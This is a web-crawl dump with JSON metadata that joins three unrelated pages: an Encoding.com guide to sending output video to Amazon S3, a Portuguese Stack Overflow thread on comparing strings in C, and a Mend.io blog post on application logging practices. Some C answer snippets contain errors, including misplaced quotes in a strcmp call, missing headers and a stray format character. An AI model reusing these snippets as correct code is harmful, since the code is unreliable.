"WARC-Target-URI": "http://97yiyeqing.tk/excel-2007-macro-programming-tutorial-pdf",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:aa902471-065a-4b2a-932d-7d3dc8feb457>"
},
"warc_info": "robots: classic\r\nhostname: ip-10-143-72-160.ec2.internal\r\nsoftware: Nutch 1.6 (CC)\r\nisPartOf: CC-MAIN-2018-26\r\noperator: Common Crawl Admin\r\ndescription: Wide crawl of the web for June 2018\r\npublisher: Common Crawl\r\nformat: WARC File Format 1.0\r\nconformsTo: http://bibnum.bnf.fr/WARC/WARC_ISO_28500_version1_latestdraft.pdf"
} | {
"line_start_idx": [
0,
2,
4,
46,
47,
4076,
4077,
4087,
4128,
4129,
7833,
7834,
7844,
7886,
7887,
10476,
10477
],
"line_end_idx": [
2,
4,
46,
47,
4076,
4077,
4087,
4128,
4129,
7833,
7834,
7844,
7886,
7887,
10476,
10477,
10486
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 10486,
"ccnet_original_nlines": 16,
"rps_doc_curly_bracket": 0,
"rps_doc_ldnoobw_words": 5,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.24471299350261688,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.0006042299792170525,
"rps_doc_frac_lines_end_with_ellipsis": 0,
"rps_doc_frac_no_alph_words": 0.13836857676506042,
"rps_doc_frac_unique_words": 0.6013937592506409,
"rps_doc_mean_word_length": 6.167944431304932,
"rps_doc_num_sentences": 126,
"rps_doc_symbol_to_word_ratio": 0,
"rps_doc_unigram_entropy": 6.157458782196045,
"rps_doc_word_count": 1435,
"rps_doc_frac_chars_dupe_10grams": 0.09987571835517883,
"rps_doc_frac_chars_dupe_5grams": 0.2591797411441803,
"rps_doc_frac_chars_dupe_6grams": 0.24268443882465363,
"rps_doc_frac_chars_dupe_7grams": 0.18415997922420502,
"rps_doc_frac_chars_dupe_8grams": 0.147553950548172,
"rps_doc_frac_chars_dupe_9grams": 0.12789514660835266,
"rps_doc_frac_chars_top_2gram": 0.030053099617362022,
"rps_doc_frac_chars_top_3gram": 0.022144390270113945,
"rps_doc_frac_chars_top_4gram": 0.03671900928020477,
"rps_doc_books_importance": -870.0662841796875,
"rps_doc_books_importance_length_correction": -870.0662841796875,
"rps_doc_openwebtext_importance": -476.3600158691406,
"rps_doc_openwebtext_importance_length_correction": -476.3600158691406,
"rps_doc_wikipedia_importance": -385.42156982421875,
"rps_doc_wikipedia_importance_length_correction": -385.42156982421875
},
"fasttext": {
"dclm": 0.09170054644346237,
"english": 0.9120129346847534,
"fineweb_edu_approx": 2.063499927520752,
"eai_general_math": 0.01126634981483221,
"eai_open_web_math": 0.35298317670822144,
"eai_web_code": 0.004192830063402653
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "005.133",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
},
"secondary": {
"code": "658.87",
"labels": {
"level_1": "Industrial arts, Technology, and Engineering",
"level_2": "Business",
"level_3": "Management"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "3",
"label": "Apply"
},
"secondary": {
"code": "2",
"label": "Understand"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "3",
"label": "Procedural"
},
"secondary": {
"code": "2",
"label": "Conceptual"
}
},
"document_type_v1": {
"primary": {
"code": "3",
"label": "Reference/Encyclopedic/Educational"
},
"secondary": {
"code": "4",
"label": "Code/Software"
}
},
"extraction_artifacts": {
"primary": {
"code": "3",
"label": "Irrelevant Content"
},
"secondary": {
"code": "2",
"label": "Text Extraction Errors"
}
},
"missing_content": {
"primary": {
"code": "2",
"label": "Click Here References"
},
"secondary": {
"code": "3",
"label": "Incoherent Flow"
}
},
"document_type_v2": {
"primary": {
"code": "23",
"label": "Tutorial"
},
"secondary": {
"code": "8",
"label": "Documentation"
}
},
"reasoning_depth": {
"primary": {
"code": "2",
"label": "Basic Reasoning"
},
"secondary": {
"code": "3",
"label": "Intermediate Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "6",
"label": "Not Applicable/Indeterminate"
},
"secondary": {
"code": "3",
"label": "Mostly Correct"
}
},
"education_level": {
"primary": {
"code": "2",
"label": "High School Level"
},
"secondary": {
"code": "1",
"label": "General Audience"
}
}
} | e3c4dd7183f5f028f56d5a7988cc68c4 |
1,872,195,224,608,920,800 | Sending output to Amazon S3
To deliver your output video files to a bucket on your Amazon S3 account, follow these steps below. Although there are many steps, it’s quite easy!
NOTE: Before downloading, it’s important that you’ve done some basic setup on your Amazon S3 account.
1. On the right side of the same page (on which you see information about your uploaded video), notice the column labeled Step Two. Click the + symbol to expand the Job Notification and Region section.
2. From the Region dropdown listing, choose the region corresponding to the location in which your destination server resides.
3. If you want to receive notification when the conversion process completes, enter an email address or URL into the Notify URL field. The URL must be the HTTP location of a listening script that can receive the XML notification file that Encoding.com will send.
job settings
1. In the Output Format #1 section, choose the output format—such as H264/AVC (.mp4)— in the first dropdown listing. [crossref to Output formats]
2. In the next dropdown listing, choose the encoding preset. [crossref to encoding types]
3. Next, choose S3 for the destination type. Then click the link to enter the destination credentials individually.
4. In the AWS Key field, enter your Amazon S3 Access Key. In the AWS Secret Key field, enter your Amazon S3 Secret Access Key.
5. Enter the name of your Bucket. In our example we are using videooutput_denver.
6. Enter the Object, which is the name of the output video file. You must include the extension (e.g., .mov or .wmv). Be sure to correctly include capitalization where necessary. You will probably want to use an extension that corresponds to the output format. In our example here the path would be /KingLines.mp4
7. Notice that the path in the textbox now corresponds to the entries you made.
8. You may want to add another delivery location for your output video file. Next to the path field (Where should we send your video?), click the + symbol to add another delivery destination. Then follow the same steps given above.
9. Click Save.
10. If you need to make changes to the output settings, click the Customize button. Enter a Preset Name, and then click Save Custom Preset. Then click the Save button again.
S3 Job Config
1. If you want to convert your source to a second output format, click the + symbol next to add another output format. Follow the steps given above.
2. After confirming that all of your entries are correct, click the Process Video button.
3. The status page will appear. If successful, you’ll see a Processing indicator.
S3 Job Config
1. To see details, click the + symbol next to the media ID number.
Extended Info
1. To see more details, click the Processing link. A pop-up window will appear giving the details of the conversion process.
Job Log
1. When the job is done, you will see the Finished status. Click the View/Download link to access your output video file.
View Download Link
1 Star2 Stars3 Stars4 Stars5 Stars (No Ratings Yet)
Loading...
edchelp | {
"url": "https://help.encoding.com/knowledge-base/article/sending-output-to-amazon-s3/",
"source_domain": "help.encoding.com",
"snapshot_id": "crawl=CC-MAIN-2021-43",
"warc_metadata": {
"Content-Length": "49171",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:ZM5TBH5W2N5X6JVULLNN4EI5ZU3VNLHZ",
"WARC-Concurrent-To": "<urn:uuid:93a12b13-8ca7-425d-93f4-f1e48c781d82>",
"WARC-Date": "2021-10-24T05:51:55Z",
"WARC-IP-Address": "104.199.120.149",
"WARC-Identified-Payload-Type": "text/html",
"WARC-Payload-Digest": "sha1:HSCTZOQVLWIHCMPR3VCR2QBLIE6RT644",
"WARC-Record-ID": "<urn:uuid:c4794165-4c13-4967-97a4-07523a5723f9>",
"WARC-Target-URI": "https://help.encoding.com/knowledge-base/article/sending-output-to-amazon-s3/",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:ab1f9f44-781c-4bb6-91ca-51033b9a0e7b>"
},
"warc_info": "isPartOf: CC-MAIN-2021-43\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for October 2021\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-67-67-137\r\nsoftware: Apache Nutch 1.18 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.2-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: https://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/"
} | {
"line_start_idx": [
0,
28,
29,
177,
178,
180,
181,
283,
284,
286,
287,
491,
620,
885,
886,
888,
889,
902,
903,
905,
906,
1054,
1146,
1264,
1393,
1477,
1793,
1875,
2109,
2126,
2302,
2303,
2305,
2306,
2320,
2321,
2323,
2324,
2326,
2327,
2478,
2570,
2654,
2655,
2657,
2658,
2672,
2673,
2675,
2676,
2745,
2746,
2748,
2749,
2763,
2764,
2766,
2767,
2894,
2895,
2897,
2898,
2906,
2907,
2909,
2910,
3035,
3036,
3038,
3039,
3058,
3059,
3061,
3062,
3064,
3065,
3067,
3068,
3120,
3131,
3132
],
"line_end_idx": [
28,
29,
177,
178,
180,
181,
283,
284,
286,
287,
491,
620,
885,
886,
888,
889,
902,
903,
905,
906,
1054,
1146,
1264,
1393,
1477,
1793,
1875,
2109,
2126,
2302,
2303,
2305,
2306,
2320,
2321,
2323,
2324,
2326,
2327,
2478,
2570,
2654,
2655,
2657,
2658,
2672,
2673,
2675,
2676,
2745,
2746,
2748,
2749,
2763,
2764,
2766,
2767,
2894,
2895,
2897,
2898,
2906,
2907,
2909,
2910,
3035,
3036,
3038,
3039,
3058,
3059,
3061,
3062,
3064,
3065,
3067,
3068,
3120,
3131,
3132,
3139
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 3139,
"ccnet_original_nlines": 80,
"rps_doc_curly_bracket": 0,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.3338533639907837,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.031201250851154327,
"rps_doc_frac_lines_end_with_ellipsis": 0.01234568003565073,
"rps_doc_frac_no_alph_words": 0.205928236246109,
"rps_doc_frac_unique_words": 0.4084778428077698,
"rps_doc_mean_word_length": 4.616570472717285,
"rps_doc_num_sentences": 66,
"rps_doc_symbol_to_word_ratio": 0.0031201199162751436,
"rps_doc_unigram_entropy": 4.813547611236572,
"rps_doc_word_count": 519,
"rps_doc_frac_chars_dupe_10grams": 0,
"rps_doc_frac_chars_dupe_5grams": 0.055091820657253265,
"rps_doc_frac_chars_dupe_6grams": 0.02086810953915119,
"rps_doc_frac_chars_dupe_7grams": 0,
"rps_doc_frac_chars_dupe_8grams": 0,
"rps_doc_frac_chars_dupe_9grams": 0,
"rps_doc_frac_chars_top_2gram": 0.033388979732990265,
"rps_doc_frac_chars_top_3gram": 0.02003338932991028,
"rps_doc_frac_chars_top_4gram": 0.011686139740049839,
"rps_doc_books_importance": -277.6673278808594,
"rps_doc_books_importance_length_correction": -277.6673278808594,
"rps_doc_openwebtext_importance": -143.0996551513672,
"rps_doc_openwebtext_importance_length_correction": -143.0996551513672,
"rps_doc_wikipedia_importance": -118.96331024169922,
"rps_doc_wikipedia_importance_length_correction": -118.96331024169922
},
"fasttext": {
"dclm": 0.03787827119231224,
"english": 0.7805977463722229,
"fineweb_edu_approx": 1.7019579410552979,
"eai_general_math": 0.035953339189291,
"eai_open_web_math": 0.2827209234237671,
"eai_web_code": 0.014852520078420639
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "005.758",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
},
"secondary": {
"code": "004.678",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computers and Computer science"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "3",
"label": "Apply"
},
"secondary": {
"code": "2",
"label": "Understand"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "3",
"label": "Procedural"
},
"secondary": {
"code": "2",
"label": "Conceptual"
}
},
"document_type_v1": {
"primary": {
"code": "3",
"label": "Reference/Encyclopedic/Educational"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"extraction_artifacts": {
"primary": {
"code": "0",
"label": "No Artifacts"
},
"secondary": {
"code": "3",
"label": "Irrelevant Content"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v2": {
"primary": {
"code": "23",
"label": "Tutorial"
},
"secondary": {
"code": "21",
"label": "Customer Support"
}
},
"reasoning_depth": {
"primary": {
"code": "2",
"label": "Basic Reasoning"
},
"secondary": {
"code": "3",
"label": "Intermediate Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "4",
"label": "Highly Correct"
},
"secondary": {
"code": "3",
"label": "Mostly Correct"
}
},
"education_level": {
"primary": {
"code": "2",
"label": "High School Level"
},
"secondary": {
"code": "3",
"label": "Undergraduate Level"
}
}
} | e3c4dd7183f5f028f56d5a7988cc68c4 |
-3,843,024,574,163,377,700 | 0
Eu preciso responder uma questão que pede pra digitar duas palavras, tipo assim:
é uma cantina e existem 4 possiveis pedidos.
Duas opções para comida: lasanha e estrogonofe;
Duas opções de bebida: suco e refrigerante.
To achando problemas com o código pois quando eu digito a primeira palavra que o scanf pede, o programa já fecha.
E é preciso que o usuário possa digitar intercalando entre maiúsculas e minusculas, como fazer pra que não haja diferenciação?
float total_a_pagar;
char comida[20];
char bebida[20];
scanf("%c\n%c", &comida, &bebida);
if (strcmp(comida, "Lasanha") == 0 && strcmp(bebida, "Refrigerante") == 0)
{
total_a_pagar = 8+3;
printf("%.1f\n", total_a_pagar);
}
else if (strcmp(comida, "Lasanha") == 0 && strcmp(bebida, "Suco") == 0)
{
total_a_pagar = 8+2.5;
printf("%.1f\n", total_a_pagar);
}
else if (strcmp(comida, "Estrogonofe") == 0 && strcmp(bebida, "Refrigerante") == 0)
{
total_a_pagar = 11+3;
printf("%.1f\n", total_a_pagar);
}
else if (strcmp(comida, "Estrogonofe") == 0 && strcmp(bebida, "Suco") == 0)
{
total_a_pagar = 11+2.5;
printf("%.1f\n", total_a_pagar);
}
3
• 2
Para a leitura de uma string (cadeia de caracteres) a tag é %s e não %c. Note que o nome de um array já é o endereço do início do array. Troque scanf("%c\n%c", &comida, &bebida); por scanf("%s\n%s", comida, bebida); – anonimo 6/06/19 às 17:39
• Para comparar ignorando a caixa das letras você pode utilizar a função strcasecmp de <strings.h>. – anonimo 6/06/19 às 17:50
• regarding: char comida[20]; char bebida[20]; scanf("%c\n%c", &comida, &bebida); should be: char comida[20]; char bebida[20]; if( scanf("%19s\n%c-19s", comida, bebida) !=2) {// handle error} – user3629249 7/06/19 às 15:48
2 Respostas 2
0
Programa corrigido.
#include <stdio.h>
int main(void)
{
char comida[20];
char bebida[20];
float total_a_pagar;
// entrada de dados separada para comida e bebida...fica mais facil de
// controlar o layout da entrada de dados, e tambem mais facil de entender
// o funcionamento (esse formato "%s/n%s" e' estranho, nunca vi ser usado)
// formato: "%19s%*[^\n]"
// considera no maximo 19 caracteres, e ignora o restante da linha
// (reserva espaco para o zero binario no final da string)
// notar que o formato para string e' %s e nao %c, e que nao
// se coloca '&' para indicar endereco de array de caracteres
// (o proprio nome do array ja' e' interpretado como endereco)
printf("*\n");
printf("* comida: ");
scanf("%19s%*[^\n]", comida); // le primeira palavra, despreza resto da linha
printf("* bebida: ");
scanf("%19s%*[^\n]", bebida); // le primeira palavra, despreza resto da linha
if (strcmp(comida, "Lasanha") == 0 && strcmp(bebida, "Refrigerante") == 0)
total_a_pagar = 8+3;
else if (strcmp(comida, "Lasanha") == 0 && strcmp(bebida, "Suco") == 0)
total_a_pagar = 8+2.5;
else if (strcmp(comida, "Estrogonofe") == 0 && strcmp(bebida, "Refrigerante") == 0)
total_a_pagar = 11+3;
else if (strcmp(comida, "Estrogonofe") == 0 && strcmp(bebida, "Suco") == 0)
total_a_pagar = 11+2.5;
else
{
printf("* comida ou bebida invalida!\n%");
printf("*\n");
exit(0);
}
printf("* conta: %.1f\n", total_a_pagar);
printf("*\n");
}
-1
Quando você executa o comando:
scanf("%c\n%c", &comida, &bebida);
Você está pedindo somente para ler 2 caracteres. Por isso o programa fecha após digitar a primeira palavra, pois ela provavelmente já forneceu os 2 caracteres pedidos e não entrou em nenhum dos if's.
Para resolver esse problema, basta trocar o %c do scanf por %s:
scanf("%s\n%s", comida, bebida);
Porém você também gostaria que a comparação feita não diferenciasse maiúsculas de minusculas, para isso basta deixar todas as palavras em minusculo ou maiúsculo.
Um meio de realizar essa tarefa seria importando a biblioteca ctype e usar a função toupper (converte um char para maiusculo) ou tolower (converte para minusculo).
Essas funções convertem char por char, então é necessário criar um loop para converter a string inteira.
int i = 0;
while (comida[i] != '\0') {
comida[i] = toupper(comida[i]);
i++;
}
Note que não é necessário calcular o tamanho total da String, pois o fim de toda String em C é delimitado pelo carácter especial '\0'.
Por fim, quando for fazer a verificação através do 'strcmp()', basta verificar utilizando o formato escolhido
Por exemplo:
if (strcmp(comida, "LASANHA == 0" && strcmp(bebida, "REFRIGERANTE == 0)
{ [...]
1
• 1
Não tem este & em: scanf("%s\n%s", &comida, &bebida);, troque por: scanf("%s\n%s", comida, bebida);. – anonimo 6/06/19 às 18:35
Sua resposta
Ao clicar em “Publique sua resposta”, você concorda com os termos de serviço, política de privacidade e política de Cookies
Esta não é a resposta que você está procurando? Pesquise outras perguntas com a tag ou faça sua própria pergunta. | {
"url": "https://pt.stackoverflow.com/questions/389526/problema-em-comparar-strings-na-linguagem-c",
"source_domain": "pt.stackoverflow.com",
"snapshot_id": "crawl=CC-MAIN-2021-21",
"warc_metadata": {
"Content-Length": "146652",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:3M7ES4JACHEI7T7VQL6NDAXUE5UI52KF",
"WARC-Concurrent-To": "<urn:uuid:93d7cda6-e540-4570-931d-3e3b5b71a5b0>",
"WARC-Date": "2021-05-13T07:23:19Z",
"WARC-IP-Address": "151.101.65.69",
"WARC-Identified-Payload-Type": "text/html",
"WARC-Payload-Digest": "sha1:FZE44QKNNDA6HXUDEDXHSJ6CSJVIMMSS",
"WARC-Record-ID": "<urn:uuid:57869b7c-074a-4206-8ccd-8f9e8a21ee93>",
"WARC-Target-URI": "https://pt.stackoverflow.com/questions/389526/problema-em-comparar-strings-na-linguagem-c",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:aa21ac79-ef63-44bc-aed6-f29543e045ed>"
},
"warc_info": "isPartOf: CC-MAIN-2021-21\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for May 2021\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-67-67-224.ec2.internal\r\nsoftware: Apache Nutch 1.18 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.2-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: https://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/"
} | {
"line_start_idx": [
0,
2,
3,
84,
85,
130,
131,
179,
180,
224,
225,
339,
340,
467,
468,
493,
514,
535,
574,
575,
654,
660,
689,
730,
736,
812,
818,
847,
886,
892,
893,
894,
982,
988,
1016,
1055,
1061,
1141,
1147,
1177,
1216,
1222,
1224,
1230,
1477,
1606,
1831,
1832,
1846,
1847,
1849,
1850,
1870,
1871,
1890,
1891,
1906,
1908,
1927,
1946,
1969,
1970,
2043,
2120,
2197,
2198,
2226,
2295,
2356,
2357,
2420,
2484,
2549,
2550,
2567,
2591,
2671,
2672,
2696,
2778,
2779,
2856,
2881,
2882,
2956,
2983,
2984,
3070,
3096,
3097,
3175,
3203,
3204,
3211,
3215,
3262,
3281,
3294,
3298,
3299,
3343,
3360,
3362,
3365,
3366,
3397,
3398,
3433,
3434,
3634,
3635,
3699,
3700,
3733,
3734,
3896,
3897,
4061,
4062,
4167,
4168,
4179,
4207,
4243,
4252,
4254,
4255,
4390,
4391,
4501,
4502,
4515,
4516,
4588,
4598,
4600,
4606,
4738,
4739,
4752,
4753,
4877,
4878
],
"line_end_idx": [
2,
3,
84,
85,
130,
131,
179,
180,
224,
225,
339,
340,
467,
468,
493,
514,
535,
574,
575,
654,
660,
689,
730,
736,
812,
818,
847,
886,
892,
893,
894,
982,
988,
1016,
1055,
1061,
1141,
1147,
1177,
1216,
1222,
1224,
1230,
1477,
1606,
1831,
1832,
1846,
1847,
1849,
1850,
1870,
1871,
1890,
1891,
1906,
1908,
1927,
1946,
1969,
1970,
2043,
2120,
2197,
2198,
2226,
2295,
2356,
2357,
2420,
2484,
2549,
2550,
2567,
2591,
2671,
2672,
2696,
2778,
2779,
2856,
2881,
2882,
2956,
2983,
2984,
3070,
3096,
3097,
3175,
3203,
3204,
3211,
3215,
3262,
3281,
3294,
3298,
3299,
3343,
3360,
3362,
3365,
3366,
3397,
3398,
3433,
3434,
3634,
3635,
3699,
3700,
3733,
3734,
3896,
3897,
4061,
4062,
4167,
4168,
4179,
4207,
4243,
4252,
4254,
4255,
4390,
4391,
4501,
4502,
4515,
4516,
4588,
4598,
4600,
4606,
4738,
4739,
4752,
4753,
4877,
4878,
4991
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 4991,
"ccnet_original_nlines": 142,
"rps_doc_curly_bracket": 0.0034061300102621317,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.12384162098169327,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.003369840094819665,
"rps_doc_frac_lines_end_with_ellipsis": 0,
"rps_doc_frac_no_alph_words": 0.44060656428337097,
"rps_doc_frac_unique_words": 0.42073172330856323,
"rps_doc_mean_word_length": 5.199695110321045,
"rps_doc_num_sentences": 33,
"rps_doc_symbol_to_word_ratio": 0.002527379896491766,
"rps_doc_unigram_entropy": 5.1463704109191895,
"rps_doc_word_count": 656,
"rps_doc_frac_chars_dupe_10grams": 0.11023160070180893,
"rps_doc_frac_chars_dupe_5grams": 0.24714159965515137,
"rps_doc_frac_chars_dupe_6grams": 0.24127821624279022,
"rps_doc_frac_chars_dupe_7grams": 0.24127821624279022,
"rps_doc_frac_chars_dupe_8grams": 0.18000586330890656,
"rps_doc_frac_chars_dupe_9grams": 0.1454118937253952,
"rps_doc_frac_chars_top_2gram": 0.03166227042675018,
"rps_doc_frac_chars_top_3gram": 0.03166227042675018,
"rps_doc_frac_chars_top_4gram": 0.0322486087679863,
"rps_doc_books_importance": -560.957763671875,
"rps_doc_books_importance_length_correction": -560.957763671875,
"rps_doc_openwebtext_importance": -329.2640686035156,
"rps_doc_openwebtext_importance_length_correction": -329.2640686035156,
"rps_doc_wikipedia_importance": -147.68890380859375,
"rps_doc_wikipedia_importance_length_correction": -147.68890380859375
},
"fasttext": {
"dclm": 0.847847044467926,
"english": 0.01309714000672102,
"fineweb_edu_approx": 1.9663569927215576,
"eai_general_math": 0.013622580096125603,
"eai_open_web_math": 0.21805453300476074,
"eai_web_code": 0.4351491928100586
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "005.133",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
},
"secondary": {
"code": "-1",
"labels": {
"level_1": "",
"level_2": "",
"level_3": ""
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "3",
"label": "Apply"
},
"secondary": {
"code": "2",
"label": "Understand"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "3",
"label": "Procedural"
},
"secondary": {
"code": "2",
"label": "Conceptual"
}
},
"document_type_v1": {
"primary": {
"code": "5",
"label": "Social/Forum"
},
"secondary": {
"code": "4",
"label": "Code/Software"
}
},
"extraction_artifacts": {
"primary": {
"code": "3",
"label": "Irrelevant Content"
},
"secondary": {
"code": "0",
"label": "No Artifacts"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v2": {
"primary": {
"code": "18",
"label": "Q&A Forum"
},
"secondary": {
"code": "23",
"label": "Tutorial"
}
},
"reasoning_depth": {
"primary": {
"code": "3",
"label": "Intermediate Reasoning"
},
"secondary": {
"code": "2",
"label": "Basic Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "3",
"label": "Mostly Correct"
},
"secondary": {
"code": "2",
"label": "Partially Correct"
}
},
"education_level": {
"primary": {
"code": "3",
"label": "Undergraduate Level"
},
"secondary": {
"code": "2",
"label": "High School Level"
}
}
} | e3c4dd7183f5f028f56d5a7988cc68c4 |
-6,650,846,777,031,918,000 | How to Instrument Application Logging
Implementing logging in our applications is a key component in making them more observable. Maintaining consistent structure and instrumenting logging from the very first function or service will help us gain the visibility we need into how our code is performing.
But how do we do this?
The practical answer to this question depends of course on our code — what programming language are we using, what specific logging framework are we working with, and plenty more. However, there is a set of general best practices that can and should be adhered to in order to ensure logging is embedded correctly in our application.
What are we logging?
Some recommend logging as much as possible as a best practice. Fact is, that in some cases, we’ve seen this “log as if there is no tomorrow” approach result in: a) log noise comprised of unimportant data, and b) needlessly expensive logging costs for storage and retention.
Once you’ve understood what you’re aiming to achieve with your logging, you can begin devising a strategy that defines what you want to log, and perhaps even more importantly — what you don’t want to log. If you are planning to build alerts on top of the logs, for example, try and log actionable data.
What logging framework do we use
Logging frameworks give developers a mechanism to implement logging in a standard and easy-to-configure way. They allow developers to control verbosity, define log levels, configure multiple connections or targets, devise a log rotation policy, and so forth.
You could build your own logging framework, but why do that if there are already tools out there that are easy to use, have community support, and most importantly — do the job perfectly well?
So one of the most important decisions you will make is which logging library, or framework, to use. This task can be complicated at times and pretty time consuming as there are a large number of these tools available, but key considerations here should be ease of use, community, feature-richness, and the impact on your application’s performance.
Standardizing logs
The more standardized your logs, the easier it is to parse them and subsequently analyze them. The logging framework you end up using will help you with this, but there is still plenty of work to be done to ensure your log messages are all constructed the same way.
For starters, be sure that developers understand when to use each log level. This will help avoid situations in which the same log message is assigned the same severity or where critical events go unnoticed because of the wrong severity assigned to it.
Second, create a standard for formatting and naming fields. Decide, for example, if the field containing the request is “request” or “requestUrl”. Choose the format you want to use for the timestamp field. Think about whether you want to format your logs in JSON or as key=value pairs (this will depend on how you intend on collecting and analyzing the logs).
How do we format our logs?
Formatting structures your logs. Structuring, in turn, helps both machines and humans read the data more efficiently.
In this context, the most commonly used formatting methods are JSON and KVPs (key=value pairs). Below are examples of the same log message written in both format types.
JSON:
{
“@timestamp”: “2017-07025 17:02:12”,
“level”: “error”,
“message”: “connection refused”,
“service”: “listener”,
“thread”: “125”,
“customerid”: “776622”,
“ip”: “34.124.233.12”,
“queryid”: “45”
}
KVP:
2017-07025 17:02:12 level=error message="connection refused"
service="listener" thread=125 customerid=776622 ip=34.124.233.12
queryid=45
Both formats will help you achieve the same purpose — making the logs human readable and enable more efficient parsing and analysis, but which one you choose to use will depend on the analysis tool you want to use. If it’s the ELK Stack, for example, JSON is the format that you should probably try.
Adding context
Being concise and logging short messages is in general a good law to abide by. But there is a huge difference between writing concise logs and writing incomprehensible logs.
Consider this log message:
12-19-17 13:40:42:000 login failed.
Not very insightful, right? But how about:
12-19-17 13:40:42:000 userId=23 action=login status=failure
In logging, context is everything. Adding contextual information to your log messages creates a story and allows you, and any other party in your organization, to more easily understand and analyze the data.
Part of the context that can be added to logs are fields containing metadata. Common examples are application name, function name, class name, and so on.
Using unique identifiers
When troubleshooting a specific event using logs, one can easily get lost in the data. Without having some kind of map to use as reference, especially microservice-based architectures, it’s virtually impossible to track specific actions across all the different services involved in the transaction.
Adding unique tags or IDs to the logs, when possible, will help you navigate within the data by following specific identifying labels that are passed through the different processing steps. These could be user IDs, transaction IDs, account IDs, and others.
Centralized logging
Once your application is shipping logs, the next practical step is to figure out how to efficiently aggregate, process, and analyze it. This implies selecting a tool, and in this context the most popular open source tool of choice is the ELK Stack — Elasticsearch, Logstash, and Kibana.
The ELK Stack is relatively easy to set up, provides users with the tools to collect log data from multiple data sources, store it in one centralized location, and analyze it with queries and visualizations.
Depending on how you are outputting your logs, you will need to figure out how to construct your data pipeline. Keep it as simple as possible — ELK handles JSON documents quite well, and if you consistently adhere to a united structure, then you will see some pretty good results.
As your code and application grows, the challenge of maintaining a production-grade ELK Stack grows with it. There are various hosted ELK solutions that will help you concentrate on coding and developing new functionality instead of maintaining the stack itself. Logz.io is one such solution, offering a bunch of features missing in the open source version of ELK on top of the stack, such as alerts, security, Live Tail and S3 archiving.
Planning is Key
Logging your application requires some thought, and the earlier you plan and strategize instrumentation the better. The list of best practices above contains some basic steps that can be implemented from the start.
More often than not, developers apply logging as an afterthought or after a critical issue already impacts the application. Why wait for that to happen before implementing a system for keeping track of your product?
Meet The Author
Subscribe to Our Blog | {
"url": "https://www.mend.io/resources/blog/how-to-instrument-application-logging/",
"source_domain": "www.mend.io",
"snapshot_id": "crawl=CC-MAIN-2022-40",
"warc_metadata": {
"Content-Length": "124811",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:UVZTBDIZEXGVJDGSPM5DZQLMRAYVKDA4",
"WARC-Concurrent-To": "<urn:uuid:c82d1745-3c70-4ac5-9a37-6a427d8194d3>",
"WARC-Date": "2022-09-29T17:58:36Z",
"WARC-IP-Address": "18.165.98.107",
"WARC-Identified-Payload-Type": "text/html",
"WARC-Payload-Digest": "sha1:NYGEZOLCQOK5HHZUZI2MZ7EKEE6MFWYE",
"WARC-Record-ID": "<urn:uuid:6c542c61-5e3b-4e82-9ce4-abce810e3eb7>",
"WARC-Target-URI": "https://www.mend.io/resources/blog/how-to-instrument-application-logging/",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:56b82a23-7778-4228-ae99-6a77f8f31589>"
},
